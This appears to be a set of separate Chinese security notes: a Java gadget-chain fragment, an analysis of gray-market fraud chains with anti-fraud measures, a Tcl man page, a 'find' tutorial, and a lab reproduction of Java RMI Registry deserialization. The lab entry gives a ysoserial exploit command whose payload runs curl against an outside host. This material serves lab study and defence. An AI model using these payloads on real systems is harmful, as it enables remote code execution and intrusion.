Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; } }
sec-knowleage
# 黑灰产研究 ## 产业链条及角色 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200502224715.png" style="zoom: 50%;" /> 图:常规的一个黑产诈骗链条[1] ![img](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/7e0effe0dab9da92c97d3b2217e62616.jpg) 图:黑产资源供应链[2] ### 上游及相关角色 产业链上游根据中游和下游的需求,生产和提供各类**黑灰产资源**。~~相当于制造业里的原材料“厂商”。~~ - 工具开发者 - 制作相关黑产工具(注册、养号脚本;爬虫脚本;改机工具等) - 受制于所针对公司**业务**的调整,生存周期不确定 - 卡源卡商 - 猫池卡商 - 号商 - 黑客(窃取用户数据为主) ### 中游及相关角色 产业链中游负责将上游生产和提供的各类黑灰产资源**进行包装和批量转售**,多以**各类平台或服务**的形式存在。~~相当于制造业里的“中间商”,但会做一些二次加工。~~ - 接码平台 - 连接卡商和羊毛党、号商等一些**需要手机验证码**的群体 - 提供软件支持、业务结算等平台服务 - 多通过业务分成获利 - 打码平台 - 提供验证码识别服务,也以此获利 - 账号代售平台 - 提供相对应需求的账号(这里就比较灰色,因为他们也面对普通用户服务) - 通过抽取相对应的佣金获利 - 工具代售平台 - 对工作室、普通用户提供**解决刷量需求**的工具 - 通过抽取相对应的佣金获利 - 地下黑市 - 相关的**黑灰产业群(QQ, Wechat, Telegram)、论坛**,为工作室、普通用户 提供一个需求解决场所 ### 下游及相关角色 下游负责**直接执行黑灰产行为**,多以工作室形式存在 - 刷量工作室 - 通过解决普通用户的刷量需求获利 - 引流工作室 - 解决客户的需求短时间内将大量短视频用户引向其他平台 - 对引流人数和引向的平台设置不同的门槛,抽取佣金 - 主播工作室 - 主要服务于高人气主播,利用相关工具刷人气 短时间内吸引其他用户观看,通过假聊工具营造人气火爆的场景(>[场控外挂](http://127.0.0.1:8000/0x2_%E9%BB%91%E7%81%B0%E4%BA%A7%E7%A0%94%E7%A9%B6/2x5_%E9%BB%91%E7%81%B0%E4%BA%A7%E5%BD%A2%E5%BC%8F/#_1)) ## 业务分类 - 以下为某工作室团伙可以承接的业务举例 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193533.png) - 抖音:网红号,报价实时更新 ### 刷量 今日头条刷粉、刷评论、刷阅读量、刷收藏等业务 ### 引流 ### 内容爬取 ## 行为分类 - 视频刷量 - 广告点击欺诈 - 文章阅读量造假 - P2P 挂机刷量平台用户 - 会员模式刷量产业链 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193709.png) 最后通过**协议破解类刷量工具**、**群控**或者**人工刷量**,P2P等方式,对视频进行 播放、点赞、评论等操作 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193720.png) 图:以上刷量方式的对比 ## 刷量特征与反欺诈策略 - 刷量特征 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193729.png) - **反欺诈策略** TODO ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193738.png) - 用户监测 - 监测访问用户、终端、IP等信息(监测访问信息) - 建立用户、终端、IP等多维黑名单(建立多维黑名单库) - 将通过过滤的播放算进最终的有效流量 - 用户行为监测 TODO - 从多个维度对用户行为进行分析 - 建立用户行为特征库 - 过滤异常播放行为 - 监控系统 - 建立多维监控系统,实施跟踪黑产的作弊手段 - 及时发现异常播放数据 - 补充异常流量特征 - 司法层面 - 与第三方公司、公安部门合作 ## 攻击行为伪装 - 黑灰产的攻击行为会模仿真实用户的行为,刷量流量会尽可能地符合大众**真实用户的访问习惯**(从时间上来看,刷量高峰时间段为夜间 19 至 23 点,并在黄金时间 20 点达到最高值) - 为了避免单个 IP 多次访问,这类工具还内置了拨号功能和代理 IP 网站接口。 - 但可以通过逆向调试的方式分析出核心逻辑进行破解 - 为每个“多开手机”伪造不同的设备信息,如 IMEI、手机定位、本机 号码、网络信息等 - 通过电脑客户端操作批量安装 App、设置代理 IP、修改手机设备信息 - 部分从事广告推广、市场营销、公关活动等正常业务的工作室,也会承接 刷量业务,并且刷量业务被包装为所谓的**视频数据维护业务**,并且工作室有正规的注册信息和 网站,部分工作室还能提供合同与正规发票 ## 风控策略(TODO) - 通过不断切换IP,可以绕过视频平台在 IP 维度的风控策略 - 补充:情报术语 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193754.png) - 注意最后一个工具情报中提到的。调查、情报的目的,很大程度上是为了描绘出一个**黑灰产产业链关系图谱**,有效定位企业当前所处的**风险状态**,**还原攻击特征**、**迭代风控规则**。 ### 监测类风险控制建议 - 对黑灰产相关论坛、社交群近期出现的**新增高频词汇**设定**阈值**,对超过阈值的**词汇溯源** - 研究相关的**黑灰产业链模式**,**对比核心产业链模式特征**,总结产业链中角色**交叉**(结合数据分析板块一起看)衍生产业链的上游,并对上游人员监控。 ### 防控类风险控制建议 - 对已发生**事件追溯**源头,通过**分析产业链结构**、**成员角色**、 **成本**、**利润**来设置不同的解决措施 - 对持续存在的结构模式,通过捕获市场上**存在周期长且特征明显的工具**进行**逆向分析**,**提高对批量行为的审核和监控**, 进一步提高黑灰产从业人员的成本 ### 打击类风险控制建议 #### 针对手机黑卡、黑IP - 从第三方,专业公司获取经过审计的手机黑卡、恶意IP、高危漏洞等数据 - 将这些情报数据作为自己后台黑名单数据的补充情报库,在用户的业务活动流程中接入审计策略,对恶意注册、爬取等行为进行筛选、监控。 #### 针对账号商人 - 结合恶意数据情报库(企业自建、第三方),对可以用户提高提高操作门槛(增加复杂验证码等),并且对这些用户进行重点监控 - 建立企业自身的恶意数据情报库,包括黑产掌握的黑卡号码、代理IP、泄露的账号密码等 - 一方面要结合**自身后台数据的黑白名单**,另一方面也要引入 第三方的支持,进行更全面的检测 #### 针对黑产人员 - 分析灰黑产的流程和工具,对被攻击的接口请求进行特征汇总 - 在设备信息、注册信息重合度、 恶意用户的行为数据等方面,进行多维度的判断。参考数据分析模块的交叉分析。 - 对典型有效的黑灰产工具进行逆向,对存在**业务逻辑漏洞** (TODO,翻阅业务安全的书)的方向调整,提高黑灰产工具的开发成本 ### 业务情报监测平台 IMP > 业务情报监测平台——TH-Karma,以攻击者视角,依托开源情报、工具情报、闭源情报三大业务情报体系,及深层次的情报处理能力,帮助企业在业务 环节精准筛选出恶意流量,还原业务风险场景,并量化对业务的影响,且持续 对黑产进行实时监测,驱动风控决策引擎迭代,从而提升企业整体攻防效率。 - 情报体系(从哪里来?根据一个什么体系获取?) - 开源情报 - 工具情报 - 闭源情报 - 处理情报 - 筛选恶意流量(爬虫流量;哪些是危险的?) - 还原业务风险场景(哪里有危险?怎么产生的危险?) - 量化对业务的影响(数据展现、可视化;有多大危险?) - 实施监测 - 实施监测黑会产的各个平台(知彼知己,百战不殆) - 驱动风控决策迭代(该怎么应对?) ### 如何打击黑灰产工具 #### 全面监控和快速响应(溯源) 对黑灰进行长期跟进,了解黑灰产工具的传播链条和路径,第一时间捕获活跃的黑灰产工具(建立特征词监控,数据取样、交叉分析) #### 建立软件指纹库,增加风险识别能力 风险设备往往会安装 各种各样的黑灰产工具软件,通过提取这些黑灰产工具软件的特征作为指纹,可以有效的识别出风险设备 #### 建立黑灰产情报共享,最大化情报价值 ## ## 内容爬取类软件 A师傅说,这个岗位对爬虫、反爬技术的要求比较高,我需要深入理解一下。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193805.png) ## 刷量方式详解 ### 协议破解:上量高效迅速 - 协议破解,即黑灰产通过破解客户端与服务器通信中的通讯协议与算法,伪造相应的请求 及参数直接访问通信接口达到刷量目的 ### 群控:群控升级,黑灰产运营成本降低 - 箱式群控软硬件成套销售 - 通过虚拟分割手机芯片内存可实现多开,每个手机芯片可裂变 为十部“手机”,可以为每个“多开手机”伪造不同的设备信息,如 IMEI、手机定位、本机 号码、网络信息等 - 通过电脑客户端操作批量安装 App、设置代理 IP、修改手机设备信息 - ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193813.png) ### 流量挂机:流量来自全国各地真实用户 IP - 流量挂机是根据**P2P**原理来实现流量优化、视频刷量、刷排名等功能的一种数据造假模 式,由两部分角色互相配合完成,**挂机用户(赚平台积分)与流量需求用户(有推广需求的用户,直接在平台发布)** ### 多开模式:技术门槛最低 ### 人工刷量:流量真实有效,难以检测 - 人工刷量分为有偿任务派单和免费平台互刷 --- ## Reference [1] 终结诈骗,公众号,https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=MzI3MTA2MTk4NQ==&scene=124#wechat_redirect \[2] 黑产IP的识别与对抗——秒拨IP,[永安在线反欺诈](https://www.zhihu.com/people/threathunter),https://zhuanlan.zhihu.com/p/68528854
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: upvar.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: upvar.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH upvar 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME upvar \- 建立到在不同栈桢上的变量的连接 .SH "总览 SYNOPSIS" \fBupvar \fR?\fIlevel\fR? \fIotherVar myVar \fR?\fIotherVar myVar \fR...? .BE .SH "描述 DESCRIPTION" .PP 这个命令安排在当前过程中的一个或多个局部变量去引用位于包围它的过程调用中的变量或引用全局变量。 \fILevel\fR 可以用 \fBuplevel\fR 命令允许的任何形式,并且如果第一个 \fIotherVar\fR 的第一个字母不是 \fB#\fR 或一个数字,则可以被省略(它缺省为\fB1\fR)。对于每个 \fIotherVar\fR 参数,\fBupvar\fR 使由 \fIlevel\fR 给出的过程桢中(如果 \fIlevel\fR 是 \fB#0 \fR则在全局层次)的叫这个名字的变量在当前过程中可以用由相应的 \fImyVar\fR 参数给出名字来访问。在调用它的时候叫做 \fIotherVar\fR 的变量不需要存在;可以在第一次引用 \fImyVar\fR 时象普通变量那样建立它。在调用 \fBupvar\fR 的时候一定不能存在一个叫 \fImyVar\fR 的变量。\fIMyVar\fR 总是被作为一个变量的名字来对待,而不是一个数组的元素。即使这个名字看起来象一个数组元素,比如 \fBa(b)\fR,仍建立一个正规的变量。\fIOtherVar\fR 可以引用一个标量变量,或一个数组元素。\fBUpvar\fR 返回一个空串。 .PP \fBupvar\fR 命令简化了传名调用(call-by-name)过程的实现并使它易于建立如同 Tcl 过程的新控制结构。例如,考虑下列过程: .CS \fBproc add2 name { upvar $name x set x [expr $x+2] }\fR .CE 调用\fB Add2\fR 时加上给出一个变量名字的一个参数,它向这个变量的值加二。尽管 \fBadd2\fR 可以使用 \fBuplevel\fR 替代 \fBupvar \fR来实现,\fBupvar\fR 简便了 \fBadd2\fR 访问在调用者过程桢中的变量。 .PP \fBnamespace eval\fR 是改变 Tcl 命令上下文的另一种方式(除了过程调用之外)。它向栈增加一个调用桢来表示名字空间上下文。这意味着每个 \fBnamespace eval\fR 命令被视为给 \fBuplevel\fR 和 \fBupvar\fR 命令的另一个调用层次。例如,\fBinfo level 1\fR 将返回描述一个命令的列表,它要么是最外的过程要么是最外的 \fBnamespace eval\fR 命令。还有,\fBuplevel #0\fR 在最外面的名字空间(全局名字空间)中的顶层求值一个脚本。 .PP .VS 如果删除(unset)一个 upvar 变量(比如,上面的 \fBadd2\fR 中的 \fBx\fR ),则 \fBunset\fR 操作影响它所连接到的变量,而不是 upvar 变量。除了退出在其中定义它的那个过程之外,没有方法删除一个 upvar 变量。但是,可以通过执行另一个 \fBupvar\fR 命令来为一个 upvar 变量重定目标(retarget)。 .SH "Traces 和 upvar" .PP upvar 以一种直接但可能不是预期的方式与 trace 交互。如果在 \fIotherVar \fR上定义了一个变量跟踪,涉及 \fImyVar \fR的动作将触发这个追踪。但是,传递给跟踪过程将是 \fImyVar \fR的名字,而不是 \fIotherVar\fR 的名字。 所以,下列代码的输出将是 \fBlocalVar\fR 而不是 \fBoriginalVar\fR: .CS \fBproc traceproc { name index op } { puts $name } proc setByUpvar { name value } { upvar $name localVar set localVar $value } set originalVar 1 trace variable originalVar w traceproc setByUpvar originalVar 2 }\fR .CE 如果 \fIotherVar\fR 引用一个数组的元素,则为整个数组设置的变量跟踪在 \fImyVar\fR 被访问的时候将不被调用(但在特定元素上的跟踪仍将被调用)。特别的,如果这个数组是 \fBenv\fR,则对 \fImyVar\fR 的变动将不被正确的传递给子进程。 .VE .SH "参见 SEE ALSO" global(n), namespace(n), uplevel(n), variable(n) .SH "关键字 KEYWORDS" context, frame, global, level, namespace, procedure, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
find === 在指定目录下查找文件 ## 补充说明 **find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。 ### 语法 ```shell find(选项)(参数) ``` ### 选项 ```shell -amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算; -anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录; -atime<24小时数>:查找在指定时间曾被存取过的文件或目录,单位以24小时计算; -cmin<分钟>:查找在指定时间之时被更改过的文件或目录; -cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录; -ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算; -daystart:从本日开始计算时间; -depth:从指定目录下最深层的子目录开始查找; -empty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录; -exec<执行指令>:假设find指令的回传值为True,就执行该指令; -false:将find指令的回传值皆设为False; -fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件; -follow:排除符号连接; -fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件; -fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件; -fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件; -fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录; -gid<群组识别码>:查找符合指定之群组识别码的文件或目录; -group<群组名称>:查找符合指定之群组名称的文件或目录; -help或--help:在线帮助; -ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别; -iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别; -inum<inode编号>:查找符合指定的inode编号的文件或目录; -ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别; -iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别; -links<连接数目>:查找符合指定的硬连接数目的文件或目录; -lname<范本样式>:指定字符串作为寻找符号连接的范本样式; -ls:假设find指令的回传值为True,就将文件或目录名称列出到标准输出; -maxdepth<目录层级>:设置最大目录层级; -mindepth<目录层级>:设置最小目录层级; -mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算; -mount:此参数的效果和指定“-xdev”相同; -mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算; -name<范本样式>:指定字符串作为寻找文件或目录的范本样式; -newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录; -nogroup:找出不属于本地主机群组识别码的文件或目录; -noleaf:不去考虑目录至少需拥有两个硬连接存在; -nouser:找出不属于本地主机用户识别码的文件或目录; -ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令; -path<范本样式>:指定字符串作为寻找目录的范本样式; -perm<权限数值>:查找符合指定的权限数值的文件或目录; -print:假设find指令的回传值为True,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串; -print0:假设find指令的回传值为True,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行; -printf<输出格式>:假设find指令的回传值为True,就将文件或目录名称列出到标准输出。格式可以自行指定; -prune:不寻找字符串作为寻找文件或目录的范本样式; -regex<范本样式>:指定字符串作为寻找文件或目录的范本样式; -size<文件大小>:查找符合指定的文件大小的文件; -true:将find指令的回传值皆设为True; -type<文件类型>:只寻找符合指定的文件类型的文件; -uid<用户识别码>:查找符合指定的用户识别码的文件或目录; -used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算; -user<拥有者名称>:查找符和指定的拥有者名称的文件或目录; -version或——version:显示版本信息; -xdev:将范围局限在先行的文件系统中; -xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。 ``` ### 参数 起始目录:查找文件的起始目录。 ### 实例 ```shell # 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容 find . -type f -name "*" | xargs grep "140.206.111.111" ``` #### 根据文件或者正则表达式进行匹配 列出当前目录及子目录下所有文件和文件夹 ```shell find . ``` 在`/home`目录下查找以.txt结尾的文件名 ```shell find /home -name "*.txt" ``` 同上,但忽略大小写 ```shell find /home -iname "*.txt" ``` 当前目录及子目录下查找所有以.txt和.pdf结尾的文件 ```shell find . \( -name "*.txt" -o -name "*.pdf" \) 或 find . -name "*.txt" -o -name "*.pdf" ``` 匹配文件路径或者文件 ```shell find /usr/ -path "*local*" ``` 基于正则表达式匹配文件路径 ```shell find . -regex ".*\(\.txt\|\.pdf\)$" ``` 同上,但忽略大小写 ```shell find . -iregex ".*\(\.txt\|\.pdf\)$" ``` #### 否定参数 找出/home下不是以.txt结尾的文件 ```shell find /home ! -name "*.txt" ``` #### 根据文件类型进行搜索 ```shell find . -type 类型参数 ``` 类型参数列表: * **f** 普通文件 * **l** 符号连接 * **d** 目录 * **c** 字符设备 * **b** 块设备 * **s** 套接字 * **p** Fifo #### 基于目录深度搜索 向下最大深度限制为3 ```shell find . -maxdepth 3 -type f ``` 搜索出深度距离当前目录至少2个子目录的所有文件 ```shell find . -mindepth 2 -type f ``` #### 根据文件时间戳进行搜索 ```shell find . -type f 时间戳 ``` UNIX/Linux文件系统每个文件都有三种时间戳: * **访问时间** (-atime/天,-amin/分钟):用户最近一次访问时间。 * **修改时间** (-mtime/天,-mmin/分钟):文件最后一次修改时间。 * **变化时间** (-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间。 搜索最近七天内被访问过的所有文件 ```shell find . -type f -atime -7 ``` 搜索恰好在七天前被访问过的所有文件 ```shell find . -type f -atime 7 ``` 搜索超过七天内被访问过的所有文件 ```shell find . -type f -atime +7 ``` 搜索访问时间超过10分钟的所有文件 ```shell find . -type f -amin +10 ``` 找出比file.log修改时间更长的所有文件 ```shell find . -type f -newer file.log ``` #### 根据文件大小进行匹配 ```shell find . -type f -size 文件大小单元 ``` 文件大小单元: * **b** —— 块(512字节) * **c** —— 字节 * **w** —— 字(2字节) * **k** —— 千字节 * **M** —— 兆字节 * **G** —— 吉字节 搜索大于10KB的文件 ```shell find . -type f -size +10k ``` 搜索小于10KB的文件 ```shell find . -type f -size -10k ``` 搜索等于10KB的文件 ```shell find . -type f -size 10k ``` #### 删除匹配文件 删除当前目录下所有.txt文件 ```shell find . -type f -name "*.txt" -delete ``` #### 根据文件权限/所有权进行匹配 当前目录下搜索出权限为777的文件 ```shell find . -type f -perm 777 ``` 找出当前目录下权限不是644的php文件 ```shell find . -type f -name "*.php" ! -perm 644 ``` 找出当前目录用户tom拥有的所有文件 ```shell find . -type f -user tom ``` 找出当前目录用户组sunk拥有的所有文件 ```shell find . -type f -group sunk ``` #### 借助`-exec`选项与其他命令结合使用 找出当前目录下所有root的文件,并把所有权更改为用户tom ```shell find .-type f -user root -exec chown tom {} \; ``` 上例中, **{}** 用于与 **-exec** 选项结合使用来匹配所有文件,然后会被替换为相应的文件名。 找出自己家目录下所有的.txt文件并删除 ```shell find $HOME/. -name "*.txt" -ok rm {} \; ``` 上例中, **-ok** 和 **-exec** 行为一样,不过它会给出提示,是否执行相应的操作。 查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中 ```shell find . -type f -name "*.txt" -exec cat {} \;> /all.txt ``` 将30天前的.log文件移动到old目录中 ```shell find . -type f -mtime +30 -name "*.log" -exec cp {} old \; ``` 找出当前目录下所有.txt文件并以“File:文件名”的形式打印出来 ```shell find . -type f -name "*.txt" -exec printf "File: %s\n" {} \; ``` 因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令 ```shell -exec ./text.sh {} \; ``` #### 搜索但跳过指定的目录 查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk ```shell find . -path "./sk" -prune -o -name "*.txt" -print ``` > :warning: ./sk 不能写成 ./sk/ ,否则没有作用。 忽略两个目录 ```shell find . \( -path ./sk -o -path ./st \) -prune -o -name "*.txt" -print ``` > :warning: 如果写相对路径必须加上`./` #### find其他技巧收集 要列出所有长度为零的文件 ```shell find . -empty ``` #### 其它实例 ```shell find ~ -name '*jpg' # 主目录中找到所有的 jpg 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。 find ~ -iname '*jpg' # -iname 就像 -name,但是不区分大小写 find ~ ( -iname 'jpeg' -o -iname 'jpg' ) # 一些图片可能是 .jpeg 扩展名。幸运的是,我们可以将模式用“或”(表示为 -o)来组合。 find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f # 如果你有一些以 jpg 结尾的目录呢? (为什么你要命名一个 bucketofjpg 而不是 pictures 的目录就超出了本文的范围。)我们使用 -type 参数修改我们的命令来查找文件。 find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d # 也许你想找到那些命名奇怪的目录,以便稍后重命名它们 ``` 最近拍了很多照片,所以让我们把它缩小到上周更改的文件 ```shell find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7 ``` 你可以根据文件状态更改时间 (ctime)、修改时间 (mtime) 或访问时间 (atime) 来执行时间过滤。 这些是在几天内,所以如果你想要更细粒度的控制,你可以表示为在几分钟内(分别是 cmin、mmin 和 amin)。 除非你确切地知道你想要的时间,否则你可能会在 + (大于)或 - (小于)的后面加上数字。 但也许你不关心你的照片。也许你的磁盘空间不够用,所以你想在 log 目录下找到所有巨大的(让我们定义为“大于 1GB”)文件: ```shell find /var/log -size +1G ``` 或者,也许你想在 /data 中找到 bcotton 拥有的所有文件: ```shell find /data -owner bcotton ``` 你还可以根据权限查找文件。也许你想在你的主目录中找到对所有人可读的文件,以确保你不会过度分享。 ```shell find ~ -perm -o=r ``` 删除 mac 下自动生成的文件 ```shell find ./ -name '__MACOSX' -depth -exec rm -rf {} \; ``` 统计代码行数 ```shell find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空行 ```
sec-knowleage
# Java RMI Registry 反序列化漏洞(<=jdk8u111) Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1). ## 漏洞环境 执行如下命令编译及启动RMI Registry和服务器: ``` docker compose build docker compose run -e RMIIP=your-ip -p 1099:1099 rmi ``` 其中,`your-ip`是服务器IP,客户端会根据这个IP来连接服务器。 环境启动后,RMI Registry监听在1099端口。 ## 漏洞复现 通过ysoserial的exploit包中的RMIRegistryExploit进行攻击 ```bash java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server" ``` ![image-20200206133552945](assets/README/image-20200206133552945.png) Registry会返回报错,这个没关系正常,命令会正常执行。
sec-knowleage
